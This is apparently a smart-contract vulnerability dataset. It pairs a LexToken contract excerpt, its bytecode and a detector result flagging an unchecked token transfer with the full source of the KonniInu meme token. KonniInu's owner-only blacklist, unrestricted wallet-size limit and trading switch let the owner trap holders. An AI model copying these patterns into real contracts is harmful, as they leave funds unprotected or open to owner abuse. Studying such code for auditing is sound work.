return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata redemption) external { // burn lexToken with redemption message _burn(msg.sender, value); emit Redeem(redemption); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } }
0x6080604052600436106101e75760003560e01c8063481c6a75116101025780637c88e3d911610095578063a457c2d711610064578063a457c2d714610c12578063a9059cbb14610c4b578063bb102aea14610c84578063d505accf14610c99576102e3565b80637c88e3d914610aea5780637ecebe0014610bb557806392ff0d3114610be857806395d89b4114610bfd576102e3565b806364629ff7116100d157806364629ff7146108e857806370a082311461092857806379cc67901461095b5780637a0c21ee14610994576102e3565b8063481c6a751461083b57806355b6ed5c1461086c578063565974d3146108a757806361d3458f146108bc576102e3565b8063313ce5671161017a57806340557cf11161014957806340557cf1146107ae57806340c10f19146107c357806342966c68146107fc578063466ccac014610826576102e3565b8063313ce5671461066a5780633644e5151461069557806339509351146106aa5780633b3e672f146106e3576102e3565b806321af8235116101b657806321af82351461050557806323b872dd1461059057806324b76fd5146105d357806330adf81f14610655576102e3565b806306fdde03146102e8578063095ea7b31461037257806318160ddd146103bf5780631d809a79146103e6576102e3565b366102e35760085460ff1661022e576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d806000811461027b576040519150601f19603f3d011682016040523d82523d6000602084013e610280565b606091505b50509050806102c1576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6102e030336102db60015434610cf790919063ffffffff16565b610d27565b50005b600080fd5b3480156102f457600080fd5b506102fd610dd5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561033757818101518382015260200161031f565b50505050905090810190601f1680156103645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037e57600080fd5b506103ab6004803603604081101561039557600080fd5b506001600160a01b038135169060200135610e63565b604080519115158252519081900360200190f35b3480156103cb57600080fd5b506103d4610e79565b60408051918252519081900360200190f35b3480156103f257600080fd5b506105036004803603608081101561040957600080fd5b810190602081018135600160201b81111561042357600080fd5b82018360208201111561043557600080fd5b803590602001918460208302840111600160201b8311171561045657600080fd5b919390929091602081019035600160201b81111561047357600080fd5b82018360208201111561048557600080fd5b803590602001918460208302840111600160201b831117156104a657600080fd5b919390929091602081019035600160201b8111156104c357600080fd5b8201836020820111156104d557600080fd5b803590602001918460208302840111600160201b831117156104f657600080fd5b9193509150351515610e7f565b005b34801561051157600080fd5b506105036004803603604081101561052857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561055257600080fd5b82018360208201111561056457600080fd5b803590602001918460018302840111600160201b8311171561058557600080fd5b5090925090506110b3565b34801561059c57600080fd5b506103ab600480360360608110156105b357600080fd5b506001600160a01b03813581169160208101359091169060400135611194565b3480156105df57600080fd5b50610503600480360360408110156105f657600080fd5b81359190810190604081016020820135600160201b81111561061757600080fd5b82018360208201111561062957600080fd5b803590602001918460018302840111600160201b8311171561064a57600080fd5b509092509050611233565b34801561066157600080fd5b506103d46112a2565b34801561067657600080fd5b5061067f6112c6565b6040805160ff9092168252519081900360200190f35b3480156106a157600080fd5b506103d46112d6565b3480156106b657600080fd5b506103ab600480360360408110156106cd57600080fd5b506001600160a01b0381351690602001356112dc565b3480156106ef57600080fd5b506105036004803603604081101561070657600080fd5b810190602081018135600160201b81111561072057600080fd5b82018360208201111561073257600080fd5b803590602001918460208302840111600160201b8311171561075357600080fd5b919390929091602081019035600160201b81111561077057600080fd5b82018360208201111561078257600080fd5b803590602001918460208302840111600160201b831117156107a357600080fd5b509092509050611312565b3480156107ba57600080fd5b506103d46113f1565b3480156107cf57600080fd5b50610503600480360360408110156107e657600080fd5b506001600160a01b0381351690602001356113f7565b34801561080857600080fd5b506105036004803603602081101561081f57600080fd5b503561144f565b34801561083257600080fd5b506103ab61145c565b34801561084757600080fd5b50610850611465565b604080516001600160a01b039092168252519081900360200190f35b34801561087857600080fd5b506103d46004803603604081101561088f57600080fd5b506001600160a01b0381358116916020013516611474565b3480156108b357600080fd5b506102fd611491565b3480156108c857600080fd5b50610503600480360360208110156108df57600080fd5b503515156114ec565b3480156108f457600080fd5b506105036004803603608081101561090b57600080fd5b508035906020810135906040810135151590606001351515611587565b34801561093457600080fd5b506103d46004803603602081101561094b57600080fd5b50356001600160a01b03166116b6565b34801561096757600080fd5b506105036004803603604081101561097e57600080fd5b506001600160a01b0381351690602001356116c8565b3480156109a057600080fd5b5061050360048036036101608110156109b857600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b811115610a0257600080fd5b820183602082011115610a1457600080fd5b803590602001918460018302840111600160201b83111715610a3557600080fd5b919390929091602081019035600160201b811115610a5257600080fd5b820183602082011115610a6457600080fd5b803590602001918460018302840111600160201b83111715610a8557600080fd5b919390929091602081019035600160201b811115610aa257600080fd5b820183602082011115610ab457600080fd5b803590602001918460018302840111600160201b83111715610ad557600080fd5b91935091508035151590602001351515611707565b348015610af657600080fd5b5061050360048036036040811015610b0d57600080fd5b810190602081018135600160201b811115610b2757600080fd5b820183602082011115610b3957600080fd5b803590602001918460208302840111600160201b83111715610b5a57600080fd5b919390929091602081019035600160201b811115610b7757600080fd5b820183602082011115610b8957600080fd5b803590602001918460208302840111600160201b83111715610baa57600080fd5b509092509050611974565b348015610bc157600080fd5b506103d460048036036020811015610bd857600080fd5b50356001600160a01b0316611a48565b348015610bf457600080fd5b506103ab611a5a565b348015610c0957600080fd5b506102fd611a69565b348015610c1e57600080fd5b506103ab60048036036040811015610c3557600080fd5b506001600160a01b038135169060200135611ac4565b348015610c5757600080fd5b506103ab60048036036040811015610c6e57600080fd5b506001600160a01b038135169060200135611afa565b348015610c9057600080fd5b506103d4611b55565b348015610ca557600080fd5b50610503600480360360e0811015610cbc57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b5b565b600082610d0657506000610d21565b82820282848281610d1357fe5b0414610d1e57600080fd5b90505b92915050565b6001600160a01b0383166000908152600a6020526040902054610d4a9082611d3f565b6001600160a01b038085166000908152600a60205260408082209390935590841681522054610d799082611d54565b6001600160a01b038084166000818152600a602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b820191906000526020600020905b815481529060010190602001808311610e3e57829003601f168201915b505050505081565b6000610e70338484611d66565b50600192915050565b60025481565b6000546001600160a01b03163314610ec9576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8584148015610ed757508582145b610f28576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b868110156110a9576000848483818110610f4157fe5b9050602002013590508215610fe757888883818110610f5c57fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610fb857600080fd5b505afa158015610fcc573d6000803e3d6000fd5b505050506040513d6020811015610fe257600080fd5b505190505b888883818110610ff357fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb88888581811061101d57fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561107457600080fd5b505af1158015611088573d6000803e3d6000fd5b505050506040513d602081101561109e57600080fd5b505050600101610f2b565b5050505050505050565b6000546001600160a01b031633146110fd576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561112460058383611f36565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b60085460009062010000900460ff166111e4576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b03841660009081526009602090815260408083203380855292529091205461121e9186916112199086611d3f565b611d66565b611229848484610d27565b5060019392505050565b61123d3384611dc8565b7ffaaa716cf73cc51702fa1de9713c82c6cd37a48c3abd70d72ef7e2051b60788b828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610e709185906112199086611d54565b828114611352576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60085462010000900460ff1661139f576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b838110156113ea576113e2338686848181106113ba57fe5b905060200201356001600160a01b03168585858181106113d657fe5b90506020020135610d27565b6001016113a2565b5050505050565b60015481565b6000546001600160a01b03163314611441576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b61144b8282611e59565b5050565b6114593382611dc8565b50565b60085460ff1681565b6000546001600160a01b031681565b600960209081526000928352604080842090915290825290205481565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b6000546001600160a01b03163314611536576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6008805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b6000546001600160a01b031633146115d1576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018490556008805460ff191682151517905582158015906115f05750815b156115ff576115ff3084611dc8565b60008311801561160d575081155b1561161c5761161c3084611e59565b80156116675760008411611667576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b604080518581526020810185905283151581830152821515606082015290517fc731f083c0c404c37cc5224632a9920c93721188c2b3a25442ba50173c538a0a9181900360800190a150505050565b600a6020526000908152604090205481565b6001600160a01b0382166000908152600960209081526040808320338085529252909120546116fd9184916112199085611d3f565b61144b8282611dc8565b600854610100900460ff1615611752576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8d6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600060146101000a81548160ff021916908360ff1602179055508a600181905550886003819055508787600591906117b2929190611f36565b506117bf60068787611f36565b506117cc60078585611f36565b506008805461010060ff199091168415151761ff0019161762ff0000191662010000831515021790558b15611805576118058e8d611e59565b891561181557611815308b611e59565b81156118605760008b11611860576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f600660405180828054600181600116156101000203166002900480156118e35780601f106118c15761010080835404028352918201916118e3565b820191906000526020600020905b8154815290600101906020018083116118cf575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c0909401909452505080519101206004555050505050505050505050505050565b6000546001600160a01b031633146119be576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8281146119fe576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b838110156113ea57611a40858583818110611a1857fe5b905060200201356001600160a01b0316848484818110611a3457fe5b90506020020135611e59565b600101611a01565b600b6020526000908152604090205481565b60085462010000900460ff1681565b6007805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610e709185906112199086611d3f565b60085460009062010000900460ff16611b4a576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610e70338484610d27565b60035481565b84421115611b9a576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600b602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018a905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012060045461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015611cb7573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611ced5750896001600160a01b0316816001600160a01b0316145b611d28576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b611d338a8a89611d66565b50505050505050505050565b600082821115611d4e57600080fd5b50900390565b600082820183811015610d1e57600080fd5b6001600160a01b03808416600081815260096020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0382166000908152600a6020526040902054611deb9082611d3f565b6001600160a01b0383166000908152600a6020526040902055600254611e119082611d3f565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600354600254611e699083611d54565b1115611ea5576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600a6020526040902054611ec89082611d54565b6001600160a01b0383166000908152600a6020526040902055600254611eee9082611d54565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611f6c5760008555611fb2565b82601f10611f855782800160ff19823516178555611fb2565b82800160010185558215611fb2579182015b82811115611fb2578235825591602001919060010190611f97565b50611fbe929150611fc2565b5090565b5b80821115611fbe5760008155600101611fc356fea26469706673582212207eec82a6a1310f1e9c03f8266266353910f735b99884b22c3cd2a603c1536b2664736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,471
0xb56e108a689eefd1286cf80fa5d6abb5f5953ec5
/** *Submitted for verification at Etherscan.io on 2022-02-11 */ /* KonniINU Inu https://t.me/KonniInu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KonniInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "KonniInu"; string private constant _symbol = "KonniInu"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 5; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x82572C05d5c09F5DfDe57D912848C8DCbBc18865); address payable private _marketingAddress = payable(0x5895C2665518fC989DE10dc49d8205E6263e2189); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 25000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
